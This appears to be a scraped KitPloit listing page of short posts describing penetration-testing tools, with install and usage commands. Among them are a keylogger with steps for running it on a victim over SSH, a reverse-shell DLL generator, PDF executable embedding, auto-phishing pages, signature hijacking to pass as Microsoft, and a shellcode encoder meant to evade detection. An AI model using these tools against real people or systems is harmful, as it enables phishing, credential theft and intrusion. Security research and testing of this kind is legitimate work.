Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Needle - Instant Access To You Bug Bounty Submission Dashboard On Various Platforms + Publicly Disclosed Reports + #Bugbountytip

$
0
0

Chrome extension for Instant access to your bug bounty submission dashboard of various platforms + publicly disclosed reports + #bugbountytip

Needle is the only chrome extension you may need to have one click access to your bug submissions across various platforms. No need to create any bookmark, type on the url bar and have fuss with autocomplete problems.
Right now the list included is-
  1. Hackerone
  2. Bugcrowd
  3. Intigriti
  4. Yes we hack
and added support as-
  1. H1 Publicly disclosed reports. (from h1.nobbd.de)
  2. Link to #bugbountytips (via @TheBugBot)

Screenshot-


On clicking any of the above, it opens the bug submission dashboard of that site. ex. for h1: https://hackerone.com/bugs

Usage
Dl the repo as zip, extract and load the needle folder via the "Load unpacked extension. " (Enable dev mode in chrome before it.)
FYI, ensure, you are already logged into your accounts, or else the site will redirect for login.
Don't forget to tweet to me if you are using this extension :)
Queries/Features welcome at Issues/Pull requests. Please support, it motivates me. :)



EvilPDF - Embedding Executable Files In PDF Documents

$
0
0

Read the license before using any part from this code :)
Hiding executable files in PDF documents

Legal disclaimer:
Usage of EvilPDF for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Usage:
git clone https://github.com/thelinuxchoice/evilpdf
cd evilpdf
python -m pip install pypdf2
python evilpdf.py

Author: https://github.com/thelinuxchoice/evilpdf
Twitter: https://twitter.com/linux_choice


Attacker-Group-Predictor - Tool To Predict Attacker Groups From The Techniques And Software Used

$
0
0

The tool predicts attacker groups from techniques and softwares used. It searches based on the MITRE ATT&CK framework

How it works?
  • 1- Collect data from https://attack.mitre.org/ about attacker groups
  • 2- Get data from user about attack
  • 3- Compare data and create result

Installation
git clone https://github.com/omergunal/Attacker-Group-Predictor.git
cd Attacker-Group-Predictor/
pip3 install -r requirements.txt

Usage
python3 main.py
Fill the inputs

Update Attacker Groups Data
cd updater
python3 update.py

Example
python3 main.py
Techniques used (ID or Name) (Seperate with comma):Brute Force,Commonly used port,connection proxy,Credential dumping
Softwares used (ID or Name) (Seperate with comma):Bankshot,mimikatz,Rawdisk

Most probable groups:
Lazarus Group
APT33
menuPass
Threat Group-3390
APT41

KatroLogger - KeyLogger For Linux Systems

$
0
0

KeyLogger for Linux Systems.
  • Features
    • Runs on GUI systems or CLI
    • Sending data by email
  • Dependencies
    • curl
    • libx11-dev (Debian-Based)
    • libX11-devel (RHEL-Based)
  • Compiling
# ./configure
# make
# make install
  • Usage
# katrologger --output /path/file
Send data by e-mail:
# katrologger --smtp-help
  • Fixing problems accessing via SSH
when connecting to the victim remotely via ssh it will be necessary to export environment variables to run the keylogger.
For hosts with xorg running:
identifying logged in user
# user=$(who | grep "(:0)" | awk '{print $1}')
# echo $user
Exporting variables
# export DISPLAY=:0.0
# export XAUTHORITY=/home/$user/.Xauthority
  • Uninstall
make uninstall


Shodanfy.py - Get Ports, Vulnerabilities, Informations, Banners, ..Etc For Any IP With Shodan (No Apikey! No Rate-Limit!)

$
0
0

Get ports,vulnerabilities,informations,banners,..etc for any IP with Shodan (no apikey! no rate limit!)

Usage
# python3 shodanfy.py <ip> [OPTIONS] 
e.g:
python3 shodanfy.py 111.111.111.111
python3 shodanfy.py 111.111.111.111 --getports
python3 shodanfy.py 111.111.111.111 --getvuln
python3 shodanfy.py 111.111.111.111 --getinfo
python3 shodanfy.py 111.111.111.111 --getmoreinfo
python3 shodanfy.py 111.111.111.111 --getbanner
python3 shodanfy.py 111.111.111.111 --getports --getvuln
python3 shodanfy.py 111.111.111.111 --proxy 127.0.0.1:8080
# support pipeline, --stdin option is required..
# echo "<ip>" or cat ips.txt | python3 shodanfy.py --stdin [OPTIONS]
e.g:
echo "111.111.111.111"|python3 shodanfy.py --stdin
echo "111.111.111.111"|python3 shodanfy.py --stdin --proxy 127.0.0.1:8080
echo "111.111.111.111"|python3 shodanfy.py --stdin --getvuln
cat ips.txt|python3 shodanfy.py --stdin --getports
dig google.com +short A | grep -oi '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | python3 shodanfy.py --stdin --geports


URLCADIZ - A Simple Script To Generate A Hidden Url For Social Engineering

$
0
0

A simple script to generate a hidden url for social engineering.

Legal disclaimer:
Usage of URLCADIZ for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Installing (Tested on Kali Linux 2020.2):
git clone https://github.com/PerezMascato/URLCADIZ
sudo pip3 install pyshorteners
cd URLCADIZ
python3 URLCADIZ.py

Author: https://github.com/PerezMascato
Twitter: https://twitter.com/perez_mascato

Fast-Google-Dorks-Scan - Fast Google Dorks Scan

$
0
0

A script to enumerate web-sites using Google dorks.

Usage example: ./FGDS.sh megacorp.one
Version: 0.035, June 07, 2020
Features:
  1. Looking for the common admin panel
  2. Looking for the widespread file types
  3. Path traversal
  4. Prevent Google banning



Axiom - A Dynamic Infrastructure Toolkit For Red Teamers And Bug Bounty Hunters!

$
0
0

Project Axiom is a set of utilities for managing a small dynamic infrastructure setup for bug bounty and pentesting.
Axiom right now is perfect for teams as small as one person, without costing you much at all to run. And by not much to run at all, I mean, less than 5 bucks a month if you use responsibly, and a free two months with my referral link below. Read more about the economics at the bottom.

Installation

Bash One Liner
(You will need curl, which is not installed by default on Ubuntu 20.04, if you get a "command not found" error, run sudo apt update && sudo apt install curl)
bash <(curl -s https://raw.githubusercontent.com/pry0cc/axiom/master/interact/axiom-configure)


When I first began trying to get up and running my own dynamic cloud hacking setup, I noticed that the array of tools and ecosystems were so large, and there were 50 different ways to do just about everything, do I use ansible for provisioning on server boot, do I load ansible with packer? How much do I configure for image builds? There were a few ‘red team’ infra setup tools and aids, but they all required so much legwork just to get off the ground. It felt like in a lot of cases people were just publishing what they use without any help/documentation on getting started.
The other situation I faced, when looking at other pentesting distros, is that they had very little support for a lot of the common tools I was using in my day-day bug bounty and red team work. Distro’s such as Kali were great for traditional netsec, but for bug bounty and large-infrastructure projects they lacked a lot of the great stuff
Specifically Go tools, lots of really awesome small Go utilities such as the array of masterpieces from likes of Tom Hudson, Luke Stephens and Jason Haddix. Bug bounty has become overrun with fancy and clever Go utilities usually stitched together in bash one liners.
Setting up your own ‘hacking vps’, to catch shells, run enumeration tools, scan, let things run in the background in a tmux window, used to be an afternoon project. You would run through and install all the tools you need manually, configure your ZSH, configure vim, configure tmux.
With Axiom, you just need to run a single command to get setup, and then you can use the Axiom toolkit scripts to spin up and down your new hacking VPS.


Run axiom-init and watch as a new instance is created in under 2 minutes containing everything you could ever want or need to run your reconnaissance for your pentest, catch a shell in netcat, or maybe you want to VPN through (axiom comes with support for one-click deployment profiles for things like openvpn, axiom-deploy openvpn and you soon have a fully configured openvpn server.
When you’re finished, simply bring down the instance with axiom-rm your-instance-12 a quick confirmation dialog, and your box is gone! It’s no longer costing you anything to run.


The init script, packed with notify-send hooks, can be run entirely headlessly while it spins up your machine of choice.


In this toolkit, I have attempted to make setting up your own cloud hacking box as simple as possible with as little touch from you as is necessary.
To aid you, I have created an array of bash wrappers to get started. The axiom base image has been developed with bug hunters and lean teams to quickly initialize and dispose of infrastructure (and actually have the tools that they use daily, preinstalled).


axiom-ssh host is used to connect to your machines, to see which machines you have available, use axiom-ls


One-liner setup with Axiom-configure



Installation

Bash One Liner
(You will need curl, which is not installed by default on Ubuntu 20.04, if you get a "command not found" error, run sudo apt update && sudo apt install curl)
bash <(curl -s https://raw.githubusercontent.com/pry0cc/axiom/master/interact/axiom-configure)

OS Support
I am trying to add as many different operating systems to support, mainly going for *nix such as MacOS, Ubuntu, Debian, Arch Linux, and maybe Kali in the future.
The main trouble here is just the dependencies.
  • MacOS - Supported
  • Ubuntu - Supported
  • Debian - Semi-Supported - Planned
  • Arch Linux - Semi-Support - Planned
  • Kali - Unknown

Dependencies
  • Packer - Tested with v1.5.6
  • fzf - Tested with 0.21.1
  • doctl - Tested with 1.43
  • jq - Tested with 1.6 (latest is better for this one)
Packer is pretty easy everywhere, although manual (its really important you get the right version, if its too old, then the var-file syntax will fail.
fzf is everywhere too, doctl can be a bit tricky (using snap to do that on ubuntu, ew). jq needs to be recent, they updated the command syntax!

Fun Screenshots
A fun out of the box one-liner that gets subdomains with subfinder, looks them up and resolves them, passes the resolved and HTTP prob'ed response to have screenshots taken for further review!


Economics
Some people come to me, and they say, pry, Digital Ocean is so much more than using a dedi or bare metal, why do you use it and how can you say its cheap?
It's how you use it. A lot of hacker hobbyists or bug bounty people are only part time, they may be a weekend warrior, or they may be a student. As such, their budget may be limited, and paying 5-20 bucks a month on a VPS FOREVER doesn't sound particularly enticing, especially if you only need the "I need a public IP to catch a shell NOW" problem.
With Axiom, you can spin up and down boxes, and only pay for what you use. You can run a command such as:
axiom-init hades --restore=hades && axiom-ssh --tmux && axiom-rm hades -f
Assuming you have a previous hades machine backup, performed with the axiom-backup hades command, all go binaries, ZSH setup, working directory files and tmux/nvim configs will be backed up. With the one liner above, it will initialise a new machine, restore the hades backup, ssh in with tmux, and then when you detach, kill the instance.
If you're planning on doing bug bounty for say, 2 hours, and you use this command on your weekend hacking-session, with the default instance size with Axiom, this would cost you a total of: $0.014. Now I don't know about you, but considering if i was a student I could wash somebodies car once and have months worth of VPS time. Pretty nice.

Pre-installed History Feature
So since we have ZSH, with some pretty badass backward lookup features, I am planning on building an extensive one-liner ZSH-History so that you can just ctrl+r and search for a command and get a demo command that has been tested on a wildcard bug bounty platform.
That way, you can just literally type "sub[up arrow]" and be auto completed to a huge subfinder one liner, on a brand new box, this brings a homely feel to the machine and can massively increase your productivity.

Deployment Profiles
These are a work in progress, also, my vision for the deployment profiles, is for quick deployment of 'optional extras' that you might want to deploy after your machine is already live and running. Such as openvpn and covenant (both have the setup scripts ready to go).

Instance Profile Selectors
One little tid-bit for the power users out there, I've added both the axiom-select , and axiom-connect script. Axiom-select allows you to select an instance name, and have it stored in a state-file called 'profile.json' in the ~/.axiom/ directory. This selection also occurs when you initialize a new server. Now, with an instance selected, you can run axiom-connect from anywhere and get dropped into an SSH shell. This is really useful for creating 'transparent' connections to your VPS hackbox and can hook up to keybindings for opening new terminal windows.
Because of the heavy integration of notify-send, you can basically use this entire ecosystem heedlessly (about to get better too).
Hint, if you're running MacOS, drop this in your bin path:
notify-send
#!/bin/bash

osascript -e "display notification \"$2\" with title \"$1\""

All The Commands - Explained

axiom-backup
axiom-backup is a command used for backing up the instance of your choice, this command works as follows:
axiom-backup <instance>
What this will do on the backend, is run an rsync transfer against the ~/ directory of the op user. This rsync transfer will exclude the main current directories and pre-installed files. So you will only transfer the files that you have put in the main directory. I recommend making a work directory and storing any text files / recon loot you might accumulate in there. You can run axiom-backup <instance> periodically as much as you want and synchronise in near realtime.
This way, if you need to quickly shut down that instance, you can do so, and you can quickly restore using the next command.

axiom-restore
axiom-restore will restore a previously backed up box (as shown in the above command). Backed-up boxes are stored in ~/.axiom/boxes/<box-name>, if you would like to add custom files to your box on restore, you can make a custom file/folder structure in a directory in ~/.axiom/boxes/<box>. One case might synchronising custom wordlists. I'm considering backing up the $GOPATH/bin path too in future so that you can sync custom binaries and go tools. Please open a issue if this sounds like a good idea to you!
axiom-restore is another command that uses profile selectors. When you initialise a new machine using the axiom-init command, the instance's name will be put into the ~/.axiom/profile.json file. This file describes the state of the profile selector. You can modify which machine is 'selected' by using the axiom-select command (covered below).
A typical example of the axiom-restore command can be demonstrated as such:
axiom-init
axiom-restore originalbox-13

# Selecting a different box

axiom-select anotherbox-5
axiom-restore originalbox-13

axiom-select
axiom-select is the command that is responsible for perfoming manual profile selects. When you run axiom-select <instance>, it will set the profile to that instance, and it will remember which instance you mean when you run commands such as axiom-connect, axiom-restore and axiom-deploy.
When you initialise a new instance, the profile selector is automatically set to that new instance. However, what if you want to deploy something on another box? Or what if you want to restore one config from one machine to another?
axiom-select instance-32

axiom-deploy
axiom-deploy is a command that can be used to deploy profiles after a machine has been initialised. You might not want an openvpn server or a covenant team server out of the box, but you might want to deploy it after!
Using axiom-deploy, once you have an instance selected, you can deploy profiles as the following:
axiom-select instance-32
axiom-deploy openvpn
And then that's it! It will be completely hands-free from here while your profile is installed :) I'd be appreciative to anybody who would like to add some more profiles here, at the time of writing it's just covenant and openvpn, but theres no reason why we can't write a Wireguard install profile or a cobalt strike c2 profile!
If you want some examples, just look at the ~/.axiom/profiles/openvpn/manifest.json file

axiom-update
axiom-update is dead simple, it just runs a full system-wide update for axiom. Cd's into the ~/.axiom/ directory, runs git pull. Easy!

axiom-build
Once you've updated your axiom setup with axiom-update, you can rebuild an image using axiom-build. It is important to build new images regularly as there may be security improvements or new features!

axiom-connect
axiom-connect is another command that can be used to SSH into an Axiom instance. The fun thing with this command however, is that it requires absolutely no arguments, it will just read whatever instance is currently in the selection profile, and it will connnect!
Personally, I have this mapped to a keybinding with termite -e axiom-connect, so after I've initialised a new instance, I can open a new SSH connection to the machine (like its local!).

axiom-ls
axiom-ls is used to list your current instances (and any other droplets you have running).
It requries no arguments.

axiom-rm
axiom-rm is used to remove a machine, if you have a machine initalised, you can completely rm it by using axiom-rm <instance>

axiom-vpn
axiom-vpn is used for connecting to a deploy openvpn server (using the deployment script).
After you have run axiom-deploy openvpn, you can run axiom-vpn <instance> and it will download the openvpn connection file, and run openvpn against it.

axiom-configure
axiom-configure is a command that can be used for configuration, ideally it should only be run once, if you've made a mistake and messed up your configuration, I would recommend running sudo rm -rf ~/.axiom/ and then run the bash one liner to install above ^^
This command will install deps, download and clone the axiom repository, add the interact/ folder to your $PATH and then run your first build. You will need a single Digitalocean API key.

axiom-ssh
axiom-ssh is used for SSH'ing to your machines, you can use it as follows:
axiom-ssh <instance>
axiom-ssh <instance> --tmux
If you use the --tmux flag, it will drop you into a tmux session named main on the axiom box. However, if the tmux session already exists, it will simply reattach you. This can be useful for doing work on the go or in a place with perhaps bad connectivity (a plane!) or running mulitple tasks.

Contributors
Below is a list of amazing people that have contributed to this project! Thank you to everybody on this list! If I missed you out, just make a PR for this readme and I'll make sure you're added! There are some amazing people here :)
  • maverickNerd
  • t3chbits
  • paralax
  • mcrmonkey
  • razcodesdotdev
  • icyphox
  • Dan GITC (@ghostinthecable)

Packages To Date
  • aquatone
  • httprobe
  • subfinder
  • assetfinder
  • gf
  • masscan
  • kxss
  • jq
  • SecLists
  • gobuster
  • nmap
  • waybackurls
  • amass
  • anti-burl
  • Golang (setup, path configured, latest version)
  • hakrawler
  • Zdns
  • ffuf
  • gau
  • dirb
  • subjack
  • SQLMap
  • fbrobe
  • getjs
  • openvpn
  • dalfox



EvilDLL - Malicious DLL (Reverse Shell) Generator For DLL Hijacking

$
0
0

Read the license before using any part from this code :)
Malicious DLL (Win Reverse Shell) generator for DLL Hijacking


Features:
  • Reverse TCP Port Forwarding using Ngrok.io
  • Custom Port Forwarding option (LHOST,LPORT)
  • Example of DLL Hijacking included (Half-Life Launcher file)
  • Tested on Win7 (7601), Windows 10

Requirements:

Legal disclaimer:
Usage of EvilDLL for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Usage:
git clone https://github.com/thelinuxchoice/evildll
cd evildll
bash evildll.sh

Author: https://github.com/thelinuxchoice/evildll
Twitter: https://twitter.com/linux_choice

Fsociety - A Modular Penetration Testing Framework

$
0
0

Install
pip install fsociety

Update
pip install --upgrade fsociety

Usage
usage: fsociety [-h] [-i] [-s]

A Penetration Testing Framework

optional arguments:
-h, --help show this help message and exit
-i, --info gets fsociety info
-s, --suggest suggest a tool

Develop
git clone https://github.com/fsociety-team/fsociety.git
pip install -e ".[dev]"

Docker
docker pull fsocietyteam/fsociety
docker run -it fsocietyteam/fsociety fsociety


SecretFinder - A Python Script For Find Sensitive Data (Apikeys, Accesstoken, JWT...) And Search Anything On Javascript Files

$
0
0

SecretFinder is a python script based on LinkFinder, written to discover sensitive data like apikeys, accesstoken, authorizations, jwt,..etc in JavaScript files. It does so by using jsbeautifier for python in combination with a fairly large regular expression. The regular expressions consists of four small regular expressions. These are responsible for finding and search anything on js files.
The output is given in HTML or plaintext.

Help
usage: SecretFinder.py [-h] [-e] -i INPUT [-o OUTPUT] [-r REGEX] [-b]
[-c COOKIE] [-g IGNORE] [-n ONLY] [-H HEADERS]
[-p PROXY]

optional arguments:
-h, --help show this help message and exit
-e, --extract Extract all javascript links located in a page and
process it
-i INPUT, --input INPUT
Input a: URL, file or folder
-o OUTPUT, --output OUTPUT
Where to save the file, including file name. Default:
output.html
-r REGEX, --regex REGEX
RegEx for filtering purposes against found endpoint
(e.g: ^/api/)
-b, --burp Support burp exported file
-c COOKIE, --cookie COOKIE
Ad d cookies for authenticated JS files
-g IGNORE, --ignore IGNORE
Ignore js url, if it contain the provided string
(string;string2..)
-n ONLY, --only ONLY Process js url, if it contain the provided string
(string;string2..)
-H HEADERS, --headers HEADERS
Set headers ("Name:Value\nName:Value")
-p PROXY, --proxy PROXY
Set proxy (host:port)

Installation
SecretFinder supports Python 3.
$ git clone https://github.com/m4ll0k/SecretFinder.git secretfinder
$ cd secretfinder
$ python -m pip install -r requirements.txt or pip install -r requirements.txt
$ python SecretFinder.py

Usage
  • Most basic usage to find the sensitive data with default regex in an online JavaScript file and output the HTML results to results.html:
python3 SecretFinder.py -i https://example.com/1.js -o results.html
  • CLI/STDOUT output (doesn't use jsbeautifier, which makes it very fast):
python3 SecretFinder.py -i https://example.com/1.js -o cli
  • Analyzing an entire domain and its JS files:
python3 SecretFinder.py -i https://example.com/ -e
  • Ignore certain js file (like external libs) provided by -g --ignore
python3 SecretFinder.py -i https://example.com/ -e -g 'jquery;bootstrap;api.google.com'
  • Process only certain js file provided by -n --only:
python3 SecretFinder.py -i https://example.com/ -e -n 'd3i4yxtzktqr9n.cloudfront.net;www.myexternaljs.com'
  • Use your regex:
python3 SecretFinder.py -i https://example.com/1.js -o cli -r 'apikey=my.api.key[a-zA-Z]+'
  • Other options: add headers,proxy and cookies:
python3 SecretFinder.py -i https://example.com/ -e -o cli -c 'mysessionid=111234' -H 'x-header:value1\nx-header2:value2' -p 127.0.0.1:8080 -r 'apikey=my.api.key[a-zA-Z]+'

add Regex
  • Open SecretFinder.py and add your regex:
_regex = {
'google_api' : r'AIza[0-9A-Za-z-_]{35}',
'google_captcha' : r'6L[0-9A-Za-z-_]{38}|^6[0-9a-zA-Z_-]{39}$',
'google_oauth' : r'ya29\.[0-9A-Za-z\-_]+',
'amazon_aws_access_key_id' : r'AKIA[0-9A-Z]{16}',
'amazon_mws_auth_toke' : r'amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
'amazon_aws_url' : r's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com',
'facebook_access_token' : r'EAACEdEose0cBA[0-9A-Za-z]+',
'authorization_basic' : r'basic\s*[a-zA-Z0-9=:_\+\/-]+',
'authorization_bearer' : r'bearer\s*[a-zA-Z0-9_\-\.=:_\+\/]+',
'authorization_api' : r'api[key|\s*]+[a-zA-Z0-9_\-]+',
'mailgun_api_key' : r'key-[0-9a-zA-Z]{32}',
'twilio_api_key' : r'SK[0-9a-fA-F]{32}',
'twilio_account_sid' : r'AC[a-zA-Z0-9_\-]{32}',
'twilio_app_sid' : r'AP[a-zA-Z0-9_\-]{32}',
'paypal_braintree_access_token' : r'access_token\$produc tion\$[0-9a-z]{16}\$[0-9a-f]{32}',
'square_oauth_secret' : r'sq0csp-[ 0-9A-Za-z\-_]{43}|sq0[a-z]{3}-[0-9A-Za-z\-_]{22,43}',
'square_access_token' : r'sqOatp-[0-9A-Za-z\-_]{22}|EAAA[a-zA-Z0-9]{60}',
'stripe_standard_api' : r'sk_live_[0-9a-zA-Z]{24}',
'stripe_restricted_api' : r'rk_live_[0-9a-zA-Z]{24}',
'github_access_token' : r'[a-zA-Z0-9_-]*:[a-zA-Z0-9_\-]+@github\.com*',
'rsa_private_key' : r'-----BEGIN RSA PRIVATE KEY-----',
'ssh_dsa_private_key' : r'-----BEGIN DSA PRIVATE KEY-----',
'ssh_dc_private_key' : r'-----BEGIN EC PRIVATE KEY-----',
'pgp_private_block' : r'-----BEGIN PGP PRIVATE KEY BLOCK-----',
'json_web_token' : r'ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*$',

'name_for_my_regex' : r'my_regex',
# for example
'example_api_key' : r'^example\w+{10,50}'
}


Digital Signature Hijack - Binaries, PowerShell Scripts And Information About Digital Signature Hijacking

$
0
0

Hijacking legitimate digital signatures is a technique that can be used during red team assessments in order to sign PowerShell code and binaries. This could assist to bypass Device Guard restrictions and maintain stealthy in an engagement. DigitalSignatureHijack is a PowerShell script based on Matt Graeber research that can perform the following operations:
  • Digitally sign all portable executables on the host as Microsoft
  • Digitally sign all powershell scripts on the host as Microsoft
  • Validate the digital signature for all portable executables
  • Validate the digital signature for all powershell scripts
This is achieved by hijacking the registry and adding the necessary values and by utilizing the custom SIP dll file that Matt Graeber developed. Users need to modify the path of MySIP.dll to their local path.

Demo

Signing Portable Executables
SignExe


Signature Validation
ValidateSignaturePE


Signing PowerShell Scripts
SignPS


Signature Validation
ValidateSignaturePS


Resources

Disclaimer
  • The purpose of this repository is to store compiled DLL's, binaries, scripts and to centralize existing information about digital signature hijacking. All the credits are going to the original authors of these tools.
  • The binaries and the DLL which are stored in this repository have not been modified from their original state and they are totally safe. However if for any reason you don't trust this repository the original repositories which contain the source code of these tools are provided in order to compile them by yourself.

Credits


TeaBreak - A Productivity Burp Extension Which Reminds To Take Break While You Are At Work!

$
0
0


TeaBreak is a simple burp extension for security researchers and bug bounty hunters for helping them to increase their work productivity. We know how much health is important. It is recommended to take break from your work to avoid burnout, reduce eye strain and other health problems.

How?
  • Set your break time before commencement of your work.
  • Freely work on your target.
  • Auto popup comes after specified time to take break. 

Maintainers:
Pull req/suggestions welcome! Pls show support via star/tweet.


SGN - Encoder Ported Into Go With Several Improvements

$
0
0

SGN is a polymorphic binary encoder for offensive security purposes such as generating statically undetecable binary payloads. It uses a additive feedback loop to encode given binary instructions similar to LSFR. This project is the reimplementation of the original Shikata ga nai in golang with many improvements.

How? & Why?
For offensive security community, the original implementation of shikata ga nai encoder is considered to be the best shellcode encoder(until now). But over the years security researchers found several pitfalls for statically detecing the encoder(related work FireEye article). The main motive for this project was to create a better encoder that encodes the given binary to the point it is identical with totally random data and not possible to detect the presence of a decoder. With the help of keystoneassembler library following improvments are implemented.
  • 64 bit support. Finally properly encoded x64 shellcodes !
  • New smaller decoder stub. LFSR key reduced to 1 byte
  • Encoded stub with pseudo random schema. Decoder stub is also encoded with a psudo random schema
  • No visible loop condition Stub decodes itself WITHOUT using any loop conditions !!
  • Decoder stub obfuscation. Random garbage instruction generator added with keystone
  • Safe register option. Non of the registers are clobbered (optional preable, may reduce polimorphism)

Install
Dependencies:
Only dependencies required is keystone and capstone libraries. For easily installing capstone libarary check the table;
OSInstall Command
Ubuntu/Debiansudo apt-get install libcapstone-dev
Macbrew install capstone
FreeBSDpkg install capstone
OpenBSDsudo pkg_add capstone
Windows/All Other...CHECK HERE
Installation of keystone library can be little tricky in some cases. Check here for keystone library installation guides.
Then just go get it ツ
go get github.com/egebalci/sgn
Usage
-h is pretty self explanatory use -v if you want to see what's going on behind the scenes ( ͡° ͜ʖ ͡°)_/¯

       __   _ __        __                               _ 
___ / / (_) /_____ _/ /____ _ ___ ____ _ ___ ___ _(_)
(_-</ _ \/ / '_/ _ `/ __/ _ `/ / _ `/ _ `/ / _ \/ _ `/ /
/___/_//_/_/_/\_\\_,_/\__/\_,_/ \_, /\_,_/ /_//_/\_,_/_/
========[Author:-Ege-Balcı-]====/___/=======v2.0.0=========
┻━┻ ︵ヽ(`Д´)ノ︵ ┻━┻ (ノ ゜Д゜)ノ ︵ 仕方がない

Usage: sgn [OPTIONS] <FILE>
-a int
Binary architecture (32/64) (default 32)
-asci
Generates a full ASCI printable payload (takes very long time to bruteforce)
-badchars string
Don't use specified bad characters given in hex format (\x00\x01\x02...)
-c int
Number of times to encode the binary (increases overall size) (default 1)
-h Print help
-max int
Maximum number of bytes for obfuscation (default 50)
-o string
Encoded output binary name
-plain-decoder
Do not encode the decoder stub
-safe
Do not modify and register values
-v More verbose output

Using As Library
Warning !! SGN package is still under development for better performance and several improvements. Most of the functions are subject to change.
package main

import (
"encoding/hex"
"fmt"
"io/ioutil"

sgn "github.com/egebalci/sgn/lib"
)

func main() {
// First open some file
file, err := ioutil.ReadFile("myfile.bin")
if err != nil { // check error
fmt.Println(err)
return
}
// Create a new SGN encoder
encoder := sgn.NewEncoder()
// Set the proper architecture
encoder.SetArchitecture(64)
// Encode the binary
encodedBinary, err := encoder.Encode(file)
if err != nil {
fmt.Println(err)
return
}
// Print out the hex dump of the encoded binary
fmt.Println(hex.Dump(encodedBinary))

}

Execution Flow
The following image is a basic workflow diagram for the encoder. But keep in mind that the sizes, locations and orders will change for garbage instructions, decoders and schema decoders on each iteration.

 
LFSR itself is pretty powerful in terms of probability space. For even more polimorphism garbage instructions are appended at the begining of the unencoded raw payload. Below image shows the the companion matrix of the characteristic polynomial of the LFSR and denoting the seed as a column vector, the state of the register in Fibonacci configuration after k steps.



Formphish - Auto Phishing Form-Based Websites

$
0
0

Auto Phishing form-based websites. This tool can automatically detect inputs on html form-based websites to create a phishing page.

Features:
  • Auto detect device
  • Port Forwarding by Ngrok
  • IP Tracker

Legal disclaimer:
Usage of Formphish for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Dependencies (Httrack and Beautifulsoup) :
apt-get -y install httrack
python -m pip install -r requirements.txt

Usage:
git clone https://github.com/thelinuxchoice/formphish
cd formphish
bash formphish.sh

Author: https://github.com/thelinuxchoice/formphish
Twitter: https://twitter.com/linux_choice



Vhosts-Sieve - Searching For Virtual Hosts Among Non-Resolvable Domains

$
0
0

Searching for virtual hosts among non-resolvable domains.

Installation
git clone https://github.com/dariusztytko/vhosts-sieve.git
pip3 install -r vhosts-sieve/requirements.txt

Usage
Get a list of subdomains (e.g. using Amass)
$ amass enum -v -passive -o domains.txt -d example.com -d example-related.com
Use vhosts-sieve.py to find virtual hosts
$ python3 vhosts-sieve.py -d domains.txt -o vhosts.txt
Max domains to resolve: -1
Max IPs to scan: -1
Max vhost candidates to check: -1
Ports to scan: [80, 443, 8000, 8008, 8080, 8443]
Threads number: 16
Timeout HTTP: 5.0s
Timeout TCP: 3.0s
Verbose: False
User agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Resolving 12 domains...

Scanning 1 IPs...

Finding vhosts (active IPs: 1, vhost candidates: 7)...

Saved results (4 vhosts)
Output file contains discovered virtual hosts in the following format
165.22.264.81 80 http False zxcv.example.com 301
165.22.264.81 443 https False zxcv.example.com 200 dev.example.com 200 admin.exmaple.com 401
Each line contains the following information:
  • IP address
  • Port number
  • Detected protocol (HTTP or HTTPS)
  • "Stopped" flag (please see How it works)
  • List of discovered virtual hosts (with the response status code)

How it works
To discover virtual hosts, the following steps are performed:
  1. Domains from the input file are resolved to IP addresses (IPv4)
  2. Depending on the resolving result, domains are divided into two groups:
    • Resolved domains
    • Non-resolved domains (virtual host candidates)
  3. IP addresses of the resolved domains are scanned for the web ports (default: 80, 443, 8000, 8080, 8443)
  4. Virtual host candidates are validated on each open port

Virtual host candidates validation
Virtual host candidates validation is performed as follow:
  1. Request with the random (invalid) virtual host (Host header) is sent
  2. Response is saved as a reference
  3. Responses for virtual host candidates are compared to the reference response
    • If the response is "similar", virtual host candidate is skipped
    • Otherwise (response is not "similar"), virtual host candidate is marked as a valid virtual host
  4. To increase chance of success, the following extra headers are sent:
    • X-Forwarded-For: 127.0.0.1
    • X-Originating-IP: [127.0.0.1]
    • X-Remote-IP: 127.0.0.1
    • X-Remote-Addr: 127.0.0.1
  5. Additionally, if too many valid virtual hosts are discovered (e.g. any subdomain is valid), validation is stopped and the result is marked as "Stopped"
Please notice that response status code is not taken into consideration. The main assumption is that everything other than reference response is worth to analyse in details. Even 4xx and 5xx responses.

Optimization
For the large networks with thousands subdomains, it may take many hours to check all virtual host candidates. The following options can be used to speed up the process:
  • Default scanned ports 80, 443, 8000, 8080, 8443 can be limited, e.g. to 443 only (-p, --ports-to-scan)
  • Number of the threads can be increased (-t, --threads-number)
  • Number of the domains to resolve can be limited (--max-domains)
  • Number of the IP addresses to scan can be limited (--max-ips)
  • Number of the virtual host candidates to check can be limited (--max-vhost-candidates)
  • Timeouts can be reduced (--timeout-tcp, --timeout-http)
Additionally, it is recommended to use -v (verbosity) option to see the results continuously.


OSS-Fuzz - Continuous Fuzzing Of Open Source Software

$
0
0

Fuzz testing is a well-known technique for uncovering programming errors in software. Many of these detectable errors, like buffer overflow, can have serious security implications. Google has found thousands of security vulnerabilities and stability bugs by deploying guided in-process fuzzing of Chrome components, and we now want to share that service with the open source community.
In cooperation with the Core Infrastructure Initiative, OSS-Fuzz aims to make common open source software more secure and stable by combining modern fuzzing techniques with scalable, distributed execution.

We support the libFuzzer and AFL fuzzing engines in combination with Sanitizers, as well as ClusterFuzz, a distributed fuzzer execution environment and reporting tool.
Currently, OSS-Fuzz supports C/C++, Rust, and Go code. Other languages supported by LLVM may work too. OSS-Fuzz supports fuzzing x86_64 and i386 builds.

Documentation
Read our detailed documentation to learn how to use OSS-Fuzz.

Trophies
